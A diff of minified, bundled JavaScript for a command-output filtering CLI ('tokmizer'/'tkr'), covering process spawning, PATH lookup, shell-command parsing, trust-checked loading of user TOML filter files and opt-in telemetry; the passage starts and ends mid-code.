t=="function"&&(n=t,t={}),t||(t={});let{pathEnv:r,pathExt:o,pathExtExe:s}=dy(e,t),i=[],a=c=>new Promise((u,f)=>{if(c===r.length)return t.all&&i.length?u(i):f(fy(e));let d=r[c],p=/^".*"$/.test(d)?d.slice(1,-1):d,g=cy.join(p,e),h=!p&&/^\.[\\\/]/.test(e)?e.slice(0,2)+g:g;u(l(h,c,0))}),l=(c,u,f)=>new Promise((d,p)=>{if(f===o.length)return d(a(u+1));let g=o[f];uy(c+g,{pathExt:s},(h,m)=>{if(!h&&m)if(t.all)i.push(c+g);else return d(c+g);return d(l(c,u,f+1))})});return n?a(0).then(c=>n(null,c),n):a(0)},g$=(e,t)=>{t=t||{};let{pathEnv:n,pathExt:r,pathExtExe:o}=dy(e,t),s=[];for(let i=0;i<n.length;i++){let a=n[i],l=/^".*"$/.test(a)?a.slice(1,-1):a,c=cy.join(l,e),u=!l&&/^\.[\\\/]/.test(e)?e.slice(0,2)+c:c;for(let f=0;f<r.length;f++){let d=u+r[f];try{if(uy.sync(d,{pathExt:o}))if(t.all)s.push(d);else return d}catch{}}}if(t.all&&s.length)return s;if(t.nothrow)return null;throw fy(e)};my.exports=py;py.sync=g$});var yy=Ae((SU,Fc)=>{"use strict";var hy=(e={})=>{let t=e.env||process.env;return(e.platform||process.platform)!=="win32"?"PATH":Object.keys(t).reverse().find(r=>r.toUpperCase()==="PATH")||"Path"};Fc.exports=hy;Fc.exports.default=hy});var _y=Ae((xU,wy)=>{"use strict";var ky=_t("path"),h$=gy(),y$=yy();function by(e,t){let n=e.options.env||process.env,r=process.cwd(),o=e.options.cwd!=null,s=o&&process.chdir!==void 0&&!process.chdir.disabled;if(s)try{process.chdir(e.options.cwd)}catch{}let i;try{i=h$.sync(e.command,{path:n[y$({env:n})],pathExt:t?ky.delimiter:void 0})}catch{}finally{s&&process.chdir(r)}return i&&(i=ky.resolve(o?e.options.cwd:"",i)),i}function k$(e){return by(e)||by(e,!0)}wy.exports=k$});var Sy=Ae((vU,Hc)=>{"use strict";var Lc=/([()\][%!^"`<>&|;, *?])/g;function b$(e){return e=e.replace(Lc,"^$1"),e}function w$(e,t){return e=`${e}`,e=e.replace(/(?=(\\+?)?)\1"/g,'$1$1\\"'),e=e.replace(/(?=(\\+?)?)\1$/,"$1$1"),e=`"${e}"`,e=e.replace(Lc,"^$1"),t&&(e=e.replace(Lc,"^$1")),e}Hc.exports.command=b$;Hc.exports.argument=w$});var vy=Ae((EU,xy)=>{"use strict";xy.exports=/^#!(.*)/});var Ty=Ae((TU,Ey)=>{"use strict";var _$=vy();Ey.exports=(e="")=>{let t=e.match(_$);if(!t)return null;let[n,r]=t[0].replace(/#! ?/,"").split(" "),o=n.split("/").pop();return o==="env"?r:r?`${o} ${r}`:o}});var Ay=Ae((RU,Ry)=>{"use strict";var jc=_t("fs"),S$=Ty();function x$(e){let n=Buffer.alloc(150),r;try{r=jc.openSync(e,"r"),jc.readSync(r,n,0,150,0),jc.closeSync(r)}catch{}return S$(n.toString())}Ry.exports=x$});var Py=Ae((AU,Oy)=>{"use strict";var v$=_t("path"),$y=_y(),Cy=Sy(),E$=Ay(),T$=process.platform==="win32",R$=/\.(?:com|exe)$/i,A$=/node_modules[\\/].bin[\\/][^\\/]+\.cmd$/i;function $$(e){e.file=$y(e);let t=e.file&&E$(e.file);return t?(e.args.unshift(e.file),e.command=t,$y(e)):e.file}function C$(e){if(!T$)return e;let t=$$(e),n=!R$.test(t);if(e.options.forceShell||n){let r=A$.test(t);e.command=v$.normalize(e.command),e.command=Cy.command(e.command),e.args=e.args.map(s=>Cy.argument(s,r));let o=[e.command].concat(e.args).join(" ");e.args=["/d","/s","/c",`"${o}"`],e.command=process.env.comspec||"cmd.exe",e.options.windowsVerbatimArguments=!0}return e}function O$(e,t,n){t&&!Array.isArray(t)&&(n=t,t=null),t=t?t.slice(0):[],n=Object.assign({},n);let r={command:e,args:t,options:n,file:void 0,original:{command:e,args:t}};return n.shell?r:C$(r)}Oy.exports=O$});var My=Ae(($U,Ny)=>{"use strict";var Bc=process.platform==="win32";function zc(e,t){return Object.assign(new Error(`${t} ${e.command} ENOENT`),{code:"ENOENT",errno:"ENOENT",syscall:`${t} ${e.command}`,path:e.command,spawnargs:e.args})}function P$(e,t){if(!Bc)return;let n=e.emit;e.emit=function(r,o){if(r==="exit"){let s=Iy(o,t);if(s)return n.call(e,"error",s)}return n.apply(e,arguments)}}function Iy(e,t){return Bc&&e===1&&!t.file?zc(t.original,"spawn"):null}function I$(e,t){return Bc&&e===1&&!t.file?zc(t.original,"spawnSync"):null}Ny.exports={hookChildProcess:P$,verifyENOENT:Iy,verifyENOENTSync:I$,notFoundError:zc}});var Ly=Ae((CU,gr)=>{"use strict";var Dy=_t("child_process"),Uc=Py(),Jc=My();function Fy(e,t,n){let r=Uc(e,t,n),o=Dy.spawn(r.command,r.args,r.options);return Jc.hookChildProcess(o,r),o}function N$(e,t,n){let r=Uc(e,t,n),o=Dy.spawnSync(r.command,r.args,r.options);return o.error=o.error||Jc.verifyENOENTSync(o.status,r),o}gr.exports=Fy;gr.exports.spawn=Fy;gr.exports.sync=N$;gr.exports._parse=Uc;gr.exports._enoent=Jc});import{readdir as M$,readFile as D$}from"node:fs/promises";import{join as jy,dirname as F$}from"node:path";import{fileURLToPath as L$}from"node:url";function B$(){return!1}async function By(){return hr||(B$()?(hr=await z$(j$),hr):(!Hy&&process.env.TOKMIZER_DEBUG==="1"&&(process.stderr.write(`tokmizer: disk loader disabled (set TOKMIZER_DEV=1 to re-enable for local dev).
105
- `),Hy=!0),hr=new Map,hr))}async function z$(e){let t=new Map,n,r;try{n=(await Promise.resolve().then(()=>($i(),Ic))).parse,r=(await M$(e)).filter(o=>o.endsWith(".toml"))}catch{return t}for(let o of r){let s=await D$(jy(e,o),"utf8"),a=n(s).filters;if(a)for(let[l,c]of Object.entries(a)){let u=Tt.parse({slug:l,...c});t.set(l,{...u,matchRegex:new RegExp(u.match_command)})}}return t}var H$,j$,hr,Hy,zy=y(()=>{"use strict";Lr();H$=F$(L$(import.meta.url)),j$=process.env.TOKMIZER_FILTERS_DIR||jy(H$,"..","..","filters"),hr=null,Hy=!1});function Uy(e){if(!e)return!1;for(let t of ot(e).split(`
106
- `))if(!/^\s*[✓✔√]\s/.test(t)&&U$.some(n=>n.test(t)))return!0;return!1}var U$,Jy=y(()=>{"use strict";Io();U$=[/\bERROR\b/,/\bFAIL\b/,/\bFAILED\b/,/\bFATAL\b/,/^Traceback /m,/^Error: /m,/^\s+at .*\(.*:\d+:\d+\)/m,/panic:/,/SyntaxError:/,/TypeError:/,/ReferenceError:/,/AssertionError:/,/^\s*(?:error|fatal):/i,/thread '.*' panicked/,/\b[1-9]\d* (?:failed|errors?)\b/]});function W$(e){let t=0;for(;t<e.length;){let n=e[t];if(Z$.has(n))t+=2;else if(K$.has(n))t+=1;else if(/^--(?:git-dir|work-tree|namespace|exec-path|super-prefix|config-env)=/.test(n))t+=1;else if(/^-[Cc]\S/.test(n))t+=1;else break}return e.slice(t)}function bt(e){let t=e.trim(),n=t.split(/\s+/),r=0;for(;r<n.length;){let l=n[r];if(G$.test(l)){r++;continue}if(J$.has(l)){for(r++,l==="timeout"&&r<n.length&&/^\d+(?:\.\d+)?[smhd]?$/.test(n[r])&&r++;(l==="stdbuf"||l==="nice")&&r<n.length&&n[r].startsWith("-");)r++;continue}break}if(r>=n.length)return t;let o=n[r],s=o.slice(Math.max(o.lastIndexOf("/"),o.lastIndexOf("\\"))+1)||o;s=s.replace(/\.(?:exe|cmd|bat|ps1)$/i,"")||s;let i=n.slice(r+1);s.toLowerCase()==="py"&&(s="python",i.length&&/^-\d(?:\.\d+)?(?:-\d+)?$/.test(i[0])&&(i=i.slice(1)));let a=s==="git"?W$(i):i;return a.length?`${s} ${a.join(" ")}`:s}function Gy(e,t){let n=!1,r=!1,o=0,s=[];for(let i=0;i<e.length;i++){let a=e[i];if(a==="\\"&&!n){i++;continue}a==="'"&&!r?n=!n:a==='"'&&!n?r=!r:!n&&!r&&(a===";"?(s.push(e.slice(o,i)),o=i+1):a==="|"&&e[i+1]==="|"?(s.push(e.slice(o,i)),i++,o=i+1):a==="|"?t||(s.push(e.slice(o,i)),o=i+1):a==="&"&&e[i+1]==="&"&&(s.push(e.slice(o,i)),i++,o=i+1))}return s.push(e.slice(o)),s}function q$(e){let t=Gy(e,!1);for(let n=t.length-1;n>=0;n--){let r=t[n].trim();if(r)return r}return e.trim()}function Jo(e){let t=Gy(e,!0).map(n=>n.trim()).filter(Boolean);if(t.length===0)return null;for(let n of t.slice(0,-1)){let r=bt(n).split(/\s+/)[0]??"";if(!V$.has(r))return null}return q$(t[t.length-1])}function Zy(e){let t=!1,n=!1,r=0,o=[];for(let s=0;s<e.length;s++){let i=e[s];if(i==="\\"&&!t){s++;continue}i==="'"&&!n?t=!t:i==='"'&&!t?n=!n:!t&&!n&&(i==="|"||i===";"?(o.push(e.slice(r,s)),i==="|"&&e[s+1]==="|"&&s++,r=s+1):i==="&"&&e[s+1]==="&"&&(o.push(e.slice(r,s)),s++,r=s+1))}o.push(e.slice(r));for(let s=o.length-1;s>=0;s--){let i=o[s].trim();if(i)return i}return e.trim()}function Zc(e){let t=Y$.exec(e);return t?bt(e.slice(t[0].length)):null}function Ky(e){let t=Gc.exec(e),n=e;if(t){if(t[1]!=="bash")return[e];let a=e.indexOf(": ");if(a<0)return[e];n=e.slice(a+2)}let r=Jo(n),o=r?bt(r):null,i=[o?Zc(o):null,o,e].filter(a=>!!a);return[...new Set(i)]}var J$,G$,Gc,Z$,K$,V$,Y$,Kc=y(()=>{"use strict";J$=new Set(["sudo","command","time","nice","nohup","env","stdbuf","timeout"]),G$=/^[A-Za-z_][A-Za-z0-9_]*=/,Gc=/^([a-z]+)-tool(?::\s|$)/,Z$=new Set(["-C","-c","--git-dir","--work-tree","--namespace","--exec-path","--super-prefix","--config-env"]),K$=new Set(["-p","--paginate","-P","--no-pager","--bare","--no-replace-objects","--literal-pathspecs","--glob-pathspecs","--noglob-pathspecs","--icase-pathspecs","--no-optional-locks","--no-lazy-fetch","--no-advice"]);V$=new Set(["cd","export","source","set","unset","mkdir","true",":","pushd","popd","alias","ulimit","umask","echo","printf","sleep","touch","rm","cp","mv","chmod","ln"]);Y$=/^(?:npx|bunx|uvx|pnpm\s+(?:exec|dlx)|yarn\s+(?:exec|dlx)|(?:uv|poetry|pipenv|hatch|pdm|rye)\s+run|bundle\s+exec|python[0-9.]*\s+-m)\s+(?=[^\s-])/});function Wc(e){let t=Buffer.from(e,"utf8");if(t.length<=256)return e;let n=256-Buffer.byteLength(Wy,"utf8"),r=Math.floor(n/2);for(;(t[r]&192)===128;)r-=1;let o=t.length-(n-r);for(;(t[o]&192)===128;)o+=1;return t.subarray(0,r).toString("utf8")+Wy+t.subarray(o).toString("utf8")}var Wy,Vy=y(()=>{"use strict";Wy=`
109
+ `),f.trim().length===0&&t.on_empty&&(e.length===0||e.trim().length>0)&&(n.exitCode==null||n.exitCode===0||n.exitCode===1&&_$.has(t.slug))&&!Ic(n.cmd)&&(f=t.on_empty),{text:f,droppedTail:u}}var y$,Zh,w$,_$,Mc=y(()=>{"use strict";Fo();Yg();eh();Ec();Lo();oh();dr();Ri();Te();Sh();xh();vh();Th();Ah();$h();Ch();jh();Uh();Jh();Gh();y$=20;Zh=new WeakMap;w$=new RegExp([String.raw`(?:^|[\s;&|(])grep(?=\s)[^|;&]*?\s(?:-[A-Za-z]*q[A-Za-z]*|--quiet|--silent)(?=\s|$)`,String.raw`(?:^|[\s;&|(])find(?=\s)[^|;&]*?\s-(?:delete|quit|exec|execdir|ok|okdir|fprint0?|fprintf|fls|prune)(?=\s|$)`,String.raw`(?:^|[\s;&|(])(?:ruff|black|flake8)(?=\s)[^|;&]*?\s(?:-q+|--quiet)(?=\s|$)`,String.raw`(?:^|[\s;&|(])eslint(?=\s)[^|;&]*?\s(?:-o|--output-file)(?=[\s=]|$)`,String.raw`(?:^|[\s;&|(])prettier(?=\s)[^|;&]*?\s(?:-l|--list-different)(?=\s|$)`].join("|")),_$=new Set(["grep","ast-grep"])});import{readdir as S$,readFile as qh,writeFile as hU,mkdir as yU,rename as kU}from"node:fs/promises";import{readdirSync as x$,statSync as Kh}from"node:fs";import{createHash as E$}from"node:crypto";import{basename as SU,join as Ii}from"node:path";function Oi(){return Ii(b(),"filters")}function Xh(){return Ii(b(),"filters-trust.json")}function Qh(e){return typeof e=="string"&&e.startsWith(Yh)}function T$(e){return E$("sha256").update(e).digest("hex")}async function R$(){try{let e=JSON.parse(await qh(Xh(),"utf8")),t={};if(e.files&&typeof e.files=="object")for(let[n,r]of Object.entries(e.files))typeof r=="string"&&/^[0-9a-f]{64}$/.test(r)&&(t[n]=r);return{v:1,files:t}}catch{return{v:1,files:{}}}}function A$(e,t){if(t===void 0)return{tests:[]};let n={message:`${e}: tests: each [[filters.${e}.tests]] needs input and expected strings`};if(!Array.isArray(t))return n;let r=[];for(let o of t){if(typeof o!="object"||o===null)return n;let{input:s,expected:i,name:a}=o;if(typeof s!="string"||typeof i!="string")return n;r.push({...typeof a=="string"&&a?{name:a}:{},input:s,expected:i})}return{tests:r}}function $$(e,t){let n=typeof t=="object"&&t!==null&&!Array.isArray(t)?t:{},{tests:r,...o}=n,s=A$(e,r);if("message"in s)return s;let i=Rt.safeParse({...o,slug:e});if(!i.success){let l=i.error.issues.map(c=>`${c.path.join(".")||"rule"}: ${c.message}`).join("; ");return{message:`${e}: ${l}`}}let a;try{a=new RegExp(i.data.match_command)}catch{return{message:`${e}: match_command is not a valid regular expression`}}for(let l of i.data.strip_lines_matching)try{new RegExp(l)}catch{return{message:`${e}: strip_lines_matching has an invalid regular expression`}}return{filter:{...i.data,slug:`${Yh}${i.data.slug}`,matchRegex:a},tests:s.tests}}function C$(e){return e===void 0||e===$i?null:typeof e=="number"&&Number.isInteger(e)?`schema_version ${e} is not supported: this tkr reads schema_version = ${$i}. Update tkr, or write the file for version ${$i}`:`schema_version must be the number ${$i}`}async function O$(e){try{return(await S$(e)).filter(t=>t.endsWith(".toml")).sort()}catch{return[]}}async function I$(e={}){let t=e.requireTrust!==!1,n=Oi(),r=new Map,o=new Map,s=[],i=await O$(n);if(i.length===0)return{dir:n,filters:r,tests:o,issues:s};let a=t?await R$():null;for(let l of i){let c;try{c=await qh(Ii(n,l),"utf8")}catch{s.push({file:l,message:"could not be read"});continue}if(a){let f=a.files[l];if(!f){s.push({file:l,message:`not trusted yet. Review it, then run: tkr filters trust ${l}`});continue}if(f!==T$(c)){s.push({file:l,message:`changed since it was trusted. Review it, then run: tkr filters trust ${l}`});continue}}let u=await P$(c,l);for(let[f,d]of u.filters)r.set(f,d);for(let[f,d]of u.tests)o.set(f,d);s.push(...u.issues)}return{dir:n,filters:r,tests:o,issues:s}}async function P$(e,t){let n=new Map,r=new Map,o=[],{parse:s}=await Promise.resolve().then(()=>(fo(),il)),i;try{i=s(e)}catch(c){return o.push({file:t,message:`not valid TOML (${String(c.message).split(`
110
+ `)[0]})`}),{filters:n,tests:r,issues:o}}let a=C$(i.schema_version);if(a)return o.push({file:t,message:a}),{filters:n,tests:r,issues:o};let l=i.filters;if(typeof l!="object"||l===null||Array.isArray(l))return o.push({file:t,message:"no [filters.<name>] table found"}),{filters:n,tests:r,issues:o};for(let[c,u]of Object.entries(l)){let f=$$(c,u);if("message"in f){o.push({file:t,message:f.message});continue}n.set(f.filter.slug,f.filter),f.tests.length>0&&r.set(f.filter.slug,{file:t,tests:f.tests})}return{filters:n,tests:r,issues:o}}function N$(){let e=[];for(let t of[Xh(),Oi()])try{let n=Kh(t);e.push(`${n.mtimeMs}:${n.size}`)}catch{e.push("-")}try{for(let t of x$(Oi()).filter(n=>n.endsWith(".toml")).sort()){let n=Kh(Ii(Oi(),t));e.push(`${t}:${n.mtimeMs}:${n.size}`)}}catch{}return e.join("|")}function M$(){let e=Date.now();if(!Ci||e-Vh>=v$){Vh=e;let t=N$();(!Ci||t!==Wh)&&(Wh=t,Ci=I$())}return Ci}async function D$(e){let{filters:t}=await M$();return t.size===0?null:On(e,t.values(),null,t)}function ey(e){return async(t,n)=>await D$(t)??e(t,n)}var Yh,$i,Ci,Wh,Vh,v$,Dc=y(()=>{"use strict";Hr();ms();Mc();U();Yh="user/",$i=1,Ci=null,Wh="",Vh=0,v$=1e3});var ty={};he(ty,{flush:()=>Fc,recordEvent:()=>jo});async function jo(e){if(Qh(e.filterId)||!(await re()).telemetryOptIn)return;let t=xi(e.cmd);!t||an(t)!==t||wi("learn",{cmd:t,filterId:e.filterId==null?null:fe(e.filterId),rawBytes:e.rawBytes,filteredBytes:e.filteredBytes})}async function Fc(e){return _i("learn","/api/v1/learn",{baseUrl:e,consent:!0})}var Bo=y(()=>{"use strict";ur();Vr();Si();ft();Dc();pt()});var dy=Ae((uJ,fy)=>{fy.exports=uy;uy.sync=z$;var ly=St("fs");function B$(e,t){var n=t.pathExt!==void 0?t.pathExt:process.env.PATHEXT;if(!n||(n=n.split(";"),n.indexOf("")!==-1))return!0;for(var r=0;r<n.length;r++){var o=n[r].toLowerCase();if(o&&e.substr(-o.length).toLowerCase()===o)return!0}return!1}function cy(e,t,n){return!e.isSymbolicLink()&&!e.isFile()?!1:B$(t,n)}function uy(e,t,n){ly.stat(e,function(r,o){n(r,r?!1:cy(o,e,t))})}function z$(e,t){return cy(ly.statSync(e),e,t)}});var yy=Ae((fJ,hy)=>{hy.exports=py;py.sync=U$;var my=St("fs");function py(e,t,n){my.stat(e,function(r,o){n(r,r?!1:gy(o,t))})}function U$(e,t){return gy(my.statSync(e),t)}function gy(e,t){return e.isFile()&&J$(e,t)}function J$(e,t){var n=e.mode,r=e.uid,o=e.gid,s=t.uid!==void 0?t.uid:process.getuid&&process.getuid(),i=t.gid!==void 0?t.gid:process.getgid&&process.getgid(),a=parseInt("100",8),l=parseInt("010",8),c=parseInt("001",8),u=a|l,f=n&c||n&l&&o===i||n&a&&r===s||n&u&&s===0;return f}});var by=Ae((mJ,ky)=>{var dJ=St("fs"),Pi;process.platform==="win32"||global.TESTING_WINDOWS?Pi=dy():Pi=yy();ky.exports=Lc;Lc.sync=G$;function Lc(e,t,n){if(typeof t=="function"&&(n=t,t={}),!n){if(typeof Promise!="function")throw new TypeError("callback not provided");return new Promise(function(r,o){Lc(e,t||{},function(s,i){s?o(s):r(i)})})}Pi(e,t||{},function(r,o){r&&(r.code==="EACCES"||t&&t.ignoreErrors)&&(r=null,o=!1),n(r,o)})}function G$(e,t){try{return Pi.sync(e,t||{})}catch(n){if(t&&t.ignoreErrors||n.code==="EACCES")return!1;throw n}}});var Ty=Ae((pJ,vy)=>{var pr=process.platform==="win32"||process.env.OSTYPE==="cygwin"||process.env.OSTYPE==="msys",wy=St("path"),Z$=pr?";":":",_y=by(),Sy=e=>Object.assign(new Error(`not found: ${e}`),{code:"ENOENT"}),xy=(e,t)=>{let n=t.colon||Z$,r=e.match(/\//)||pr&&e.match(/\\/)?[""]:[...pr?[process.cwd()]:[],...(t.path||process.env.PATH||"").split(n)],o=pr?t.pathExt||process.env.PATHEXT||".EXE;.CMD;.BAT;.COM":"",s=pr?o.split(n):[""];return pr&&e.indexOf(".")!==-1&&s[0]!==""&&s.unshift(""),{pathEnv:r,pathExt:s,pathExtExe:o}},Ey=(e,t,n)=>{typeof t=="function"&&(n=t,t={}),t||(t={});let{pathEnv:r,pathExt:o,pathExtExe:s}=xy(e,t),i=[],a=c=>new Promise((u,f)=>{if(c===r.length)return t.all&&i.length?u(i):f(Sy(e));let d=r[c],m=/^".*"$/.test(d)?d.slice(1,-1):d,g=wy.join(m,e),h=!m&&/^\.[\\\/]/.test(e)?e.slice(0,2)+g:g;u(l(h,c,0))}),l=(c,u,f)=>new Promise((d,m)=>{if(f===o.length)return d(a(u+1));let g=o[f];_y(c+g,{pathExt:s},(h,p)=>{if(!h&&p)if(t.all)i.push(c+g);else return d(c+g);return d(l(c,u,f+1))})});return n?a(0).then(c=>n(null,c),n):a(0)},K$=(e,t)=>{t=t||{};let{pathEnv:n,pathExt:r,pathExtExe:o}=xy(e,t),s=[];for(let i=0;i<n.length;i++){let a=n[i],l=/^".*"$/.test(a)?a.slice(1,-1):a,c=wy.join(l,e),u=!l&&/^\.[\\\/]/.test(e)?e.slice(0,2)+c:c;for(let f=0;f<r.length;f++){let d=u+r[f];try{if(_y.sync(d,{pathExt:o}))if(t.all)s.push(d);else return d}catch{}}}if(t.all&&s.length)return s;if(t.nothrow)return null;throw Sy(e)};vy.exports=Ey;Ey.sync=K$});var Ay=Ae((gJ,Hc)=>{"use strict";var Ry=(e={})=>{let t=e.env||process.env;return(e.platform||process.platform)!=="win32"?"PATH":Object.keys(t).reverse().find(r=>r.toUpperCase()==="PATH")||"Path"};Hc.exports=Ry;Hc.exports.default=Ry});var Iy=Ae((hJ,Oy)=>{"use strict";var $y=St("path"),W$=Ty(),V$=Ay();function Cy(e,t){let n=e.options.env||process.env,r=process.cwd(),o=e.options.cwd!=null,s=o&&process.chdir!==void 0&&!process.chdir.disabled;if(s)try{process.chdir(e.options.cwd)}catch{}let i;try{i=W$.sync(e.command,{path:n[V$({env:n})],pathExt:t?$y.delimiter:void 0})}catch{}finally{s&&process.chdir(r)}return i&&(i=$y.resolve(o?e.options.cwd:"",i)),i}function q$(e){return Cy(e)||Cy(e,!0)}Oy.exports=q$});var Py=Ae((yJ,Bc)=>{"use strict";var jc=/([()\][%!^"`<>&|;, *?])/g;function Y$(e){return e=e.replace(jc,"^$1"),e}function X$(e,t){return e=`${e}`,e=e.replace(/(?=(\\+?)?)\1"/g,'$1$1\\"'),e=e.replace(/(?=(\\+?)?)\1$/,"$1$1"),e=`"${e}"`,e=e.replace(jc,"^$1"),t&&(e=e.replace(jc,"^$1")),e}Bc.exports.command=Y$;Bc.exports.argument=X$});var My=Ae((kJ,Ny)=>{"use strict";Ny.exports=/^#!(.*)/});var Fy=Ae((bJ,Dy)=>{"use strict";var Q$=My();Dy.exports=(e="")=>{let t=e.match(Q$);if(!t)return null;let[n,r]=t[0].replace(/#! ?/,"").split(" "),o=n.split("/").pop();return o==="env"?r:r?`${o} ${r}`:o}});var Hy=Ae((wJ,Ly)=>{"use strict";var zc=St("fs"),e1=Fy();function t1(e){let n=Buffer.alloc(150),r;try{r=zc.openSync(e,"r"),zc.readSync(r,n,0,150,0),zc.closeSync(r)}catch{}return e1(n.toString())}Ly.exports=t1});var Uy=Ae((_J,zy)=>{"use strict";var n1=St("path"),jy=Iy(),By=Py(),r1=Hy(),o1=process.platform==="win32",s1=/\.(?:com|exe)$/i,i1=/node_modules[\\/].bin[\\/][^\\/]+\.cmd$/i;function a1(e){e.file=jy(e);let t=e.file&&r1(e.file);return t?(e.args.unshift(e.file),e.command=t,jy(e)):e.file}function l1(e){if(!o1)return e;let t=a1(e),n=!s1.test(t);if(e.options.forceShell||n){let r=i1.test(t);e.command=n1.normalize(e.command),e.command=By.command(e.command),e.args=e.args.map(s=>By.argument(s,r));let o=[e.command].concat(e.args).join(" ");e.args=["/d","/s","/c",`"${o}"`],e.command=process.env.comspec||"cmd.exe",e.options.windowsVerbatimArguments=!0}return e}function c1(e,t,n){t&&!Array.isArray(t)&&(n=t,t=null),t=t?t.slice(0):[],n=Object.assign({},n);let r={command:e,args:t,options:n,file:void 0,original:{command:e,args:t}};return n.shell?r:l1(r)}zy.exports=c1});var Zy=Ae((SJ,Gy)=>{"use strict";var Uc=process.platform==="win32";function Jc(e,t){return Object.assign(new Error(`${t} ${e.command} ENOENT`),{code:"ENOENT",errno:"ENOENT",syscall:`${t} ${e.command}`,path:e.command,spawnargs:e.args})}function u1(e,t){if(!Uc)return;let n=e.emit;e.emit=function(r,o){if(r==="exit"){let s=Jy(o,t);if(s)return n.call(e,"error",s)}return n.apply(e,arguments)}}function Jy(e,t){return Uc&&e===1&&!t.file?Jc(t.original,"spawn"):null}function f1(e,t){return Uc&&e===1&&!t.file?Jc(t.original,"spawnSync"):null}Gy.exports={hookChildProcess:u1,verifyENOENT:Jy,verifyENOENTSync:f1,notFoundError:Jc}});var Vy=Ae((xJ,gr)=>{"use strict";var Ky=St("child_process"),Gc=Uy(),Zc=Zy();function Wy(e,t,n){let r=Gc(e,t,n),o=Ky.spawn(r.command,r.args,r.options);return Zc.hookChildProcess(o,r),o}function d1(e,t,n){let r=Gc(e,t,n),o=Ky.spawnSync(r.command,r.args,r.options);return o.error=o.error||Zc.verifyENOENTSync(o.status,r),o}gr.exports=Wy;gr.exports.spawn=Wy;gr.exports.sync=d1;gr.exports._parse=Gc;gr.exports._enoent=Zc});import{statSync as m1}from"node:fs";import{extname as p1,join as g1,resolve as qy,win32 as Yy}from"node:path";function h1(e){try{return m1(e).isFile()}catch{return!1}}function Xy(e,t,n=process.cwd(),r=process.platform){if(r!=="win32"||/[\\/:]/.test(e))return e;let o=qy(n).toLowerCase(),s=(t.PATHEXT??".COM;.EXE;.BAT;.CMD").split(";").filter(Boolean),i=p1(e)?["",...s]:s;for(let a of(t.Path??t.PATH??"").split(";")){let l=a.trim().replace(/^"(.*)"$/,"$1");if(!(!l||!Yy.isAbsolute(l)||qy(l).toLowerCase()===o))for(let c of i){let u=g1(l,`${e}${c.toLowerCase()}`);if(h1(u))return u}}return Yy.join(t.SystemRoot||"C:\\Windows","tkr-not-on-path",e)}var Qy=y(()=>{"use strict"});import{readdir as y1,readFile as k1}from"node:fs/promises";import{join as tk,dirname as b1}from"node:path";import{fileURLToPath as w1}from"node:url";function x1(){return!1}async function nk(){return hr||(x1()?(hr=await E1(S1),hr):(!ek&&process.env.TOKMIZER_DEBUG==="1"&&(process.stderr.write(`tokmizer: disk loader disabled (set TOKMIZER_DEV=1 to re-enable for local dev).
111
+ `),ek=!0),hr=new Map,hr))}async function E1(e){let t=new Map,n,r;try{n=(await Promise.resolve().then(()=>(fo(),il))).parse,r=(await y1(e)).filter(o=>o.endsWith(".toml"))}catch{return t}for(let o of r){let s=await k1(tk(e,o),"utf8"),a=n(s).filters;if(a)for(let[l,c]of Object.entries(a)){let u=Rt.parse({slug:l,...c});t.set(l,{...u,matchRegex:new RegExp(u.match_command)})}}return t}var _1,S1,hr,ek,rk=y(()=>{"use strict";Hr();_1=b1(w1(import.meta.url)),S1=process.env.TOKMIZER_FILTERS_DIR||tk(_1,"..","..","filters"),hr=null,ek=!1});function ok(e){if(!e)return!1;for(let t of st(e).split(`
112
+ `))if(!/^\s*[✓✔√]\s/.test(t)&&v1.some(n=>n.test(t)))return!0;return!1}var v1,sk=y(()=>{"use strict";Fo();v1=[/\bERROR\b/,/\bFAIL\b/,/\bFAILED\b/,/\bFATAL\b/,/^Traceback /m,/^Error: /m,/^\s+at .*\(.*:\d+:\d+\)/m,/panic:/,/SyntaxError:/,/TypeError:/,/ReferenceError:/,/AssertionError:/,/^\s*(?:error|fatal):/i,/thread '.*' panicked/,/\b[1-9]\d* (?:failed|errors?)\b/]});function C1(e){let t=0;for(;t<e.length;){let n=e[t];if(A1.has(n))t+=2;else if($1.has(n))t+=1;else if(/^--(?:git-dir|work-tree|namespace|exec-path|super-prefix|config-env)=/.test(n))t+=1;else if(/^-[Cc]\S/.test(n))t+=1;else break}return e.slice(t)}function wt(e){let t=e.trim(),n=t.split(/\s+/),r=0;for(;r<n.length;){let l=n[r];if(R1.test(l)){r++;continue}if(T1.has(l)){for(r++,l==="timeout"&&r<n.length&&/^\d+(?:\.\d+)?[smhd]?$/.test(n[r])&&r++;(l==="stdbuf"||l==="nice")&&r<n.length&&n[r].startsWith("-");)r++;continue}break}if(r>=n.length)return t;let o=n[r],s=o.slice(Math.max(o.lastIndexOf("/"),o.lastIndexOf("\\"))+1)||o;s=s.replace(/\.(?:exe|cmd|bat|ps1)$/i,"")||s;let i=n.slice(r+1);s.toLowerCase()==="py"&&(s="python",i.length&&/^-\d(?:\.\d+)?(?:-\d+)?$/.test(i[0])&&(i=i.slice(1)));let a=s==="git"?C1(i):i;return a.length?`${s} ${a.join(" ")}`:s}function ik(e,t){let n=!1,r=!1,o=0,s=[];for(let i=0;i<e.length;i++){let a=e[i];if(a==="\\"&&!n){i++;continue}a==="'"&&!r?n=!n:a==='"'&&!n?r=!r:!n&&!r&&(a===";"?(s.push(e.slice(o,i)),o=i+1):a==="|"&&e[i+1]==="|"?(s.push(e.slice(o,i)),i++,o=i+1):a==="|"?t||(s.push(e.slice(o,i)),o=i+1):a==="&"&&e[i+1]==="&"&&(s.push(e.slice(o,i)),i++,o=i+1))}return s.push(e.slice(o)),s}function I1(e){let t=ik(e,!1);for(let n=t.length-1;n>=0;n--){let r=t[n].trim();if(r)return r}return e.trim()}function Jo(e){let t=ik(e,!0).map(n=>n.trim()).filter(Boolean);if(t.length===0)return null;for(let n of t.slice(0,-1)){let r=wt(n).split(/\s+/)[0]??"";if(!O1.has(r))return null}return I1(t[t.length-1])}function ak(e){let t=!1,n=!1,r=0,o=[];for(let s=0;s<e.length;s++){let i=e[s];if(i==="\\"&&!t){s++;continue}i==="'"&&!n?t=!t:i==='"'&&!t?n=!n:!t&&!n&&(i==="|"||i===";"?(o.push(e.slice(r,s)),i==="|"&&e[s+1]==="|"&&s++,r=s+1):i==="&"&&e[s+1]==="&"&&(o.push(e.slice(r,s)),s++,r=s+1))}o.push(e.slice(r));for(let s=o.length-1;s>=0;s--){let i=o[s].trim();if(i)return i}return e.trim()}function Wc(e){let t=P1.exec(e);return t?wt(e.slice(t[0].length)):null}function lk(e){let t=Kc.exec(e),n=e;if(t){if(t[1]!=="bash")return[e];let a=e.indexOf(": ");if(a<0)return[e];n=e.slice(a+2)}let 